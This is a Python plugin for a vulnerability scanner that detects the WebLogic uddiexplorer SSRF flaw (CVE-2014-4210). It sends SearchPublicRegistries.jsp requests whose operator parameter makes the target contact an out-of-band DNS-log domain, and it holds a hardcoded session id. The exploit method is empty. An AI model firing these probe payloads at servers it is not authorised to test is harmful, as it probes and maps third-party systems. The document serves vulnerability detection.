#!/usr/bin/env python3
# -*- coding:utf-8 -*-

'''
Weblogic 服务端请求伪造 (SSRF)
    CVE-2014-4210
        Payload: https://vulhub.org/#/environments/weblogic/ssrf/

Weblogic uddiexplorer SSRF漏洞
    uddiexplorer组件的SearchPublicRegistries.jsp页面存在一个SSRF漏洞
'''

from lib.api.dns import dns
from lib.tool.md5 import random_md5
from PluginManager import Vuln_Scan

class Scan(Vuln_Scan):
    def __init__(self):
        self.payloads = [
            {'path': 'uddiexplorer/SearchPublicRegistries.jsp?operator=http://DNSDOMAIN/&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search'},
            {'path': 'SearchPublicRegistries.jsp?operator=http://DNSDOMAIN/&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search'}
        ]

    def POC(self, clients):
        client = clients.get('reqClient')
        sessid = '0fe976335bbe903a97650f15dcb0ce47'

        vul_info = {
            'app_name': 'Weblogic',
            'vul_type': 'SSRF',
            'vul_id': 'CVE-2014-4210',
        }

        for payload in self.payloads:
            md = random_md5()                                       # * 随机md5值, 8位
            dns_domain = md + '.' + dns.domain(sessid)              # * dnslog/ceye域名

            path = payload['path'].replace('DNSDOMAIN', dns_domain)

            res = client.request(
                'get',
                path,
                vul_info=vul_info
            )
            if res is None:
                continue

            if (dns.result(md, sessid)):
                results = {
                    'Target': res.request.url,
                    'Type': [vul_info['app_name'], vul_info['vul_type'], vul_info['vul_id']],
                    'Request': res
                }
                return results
        return None
    
    def EXP(self, clients):
        pass

    def Start(self, clients):
        return self.POC(clients)
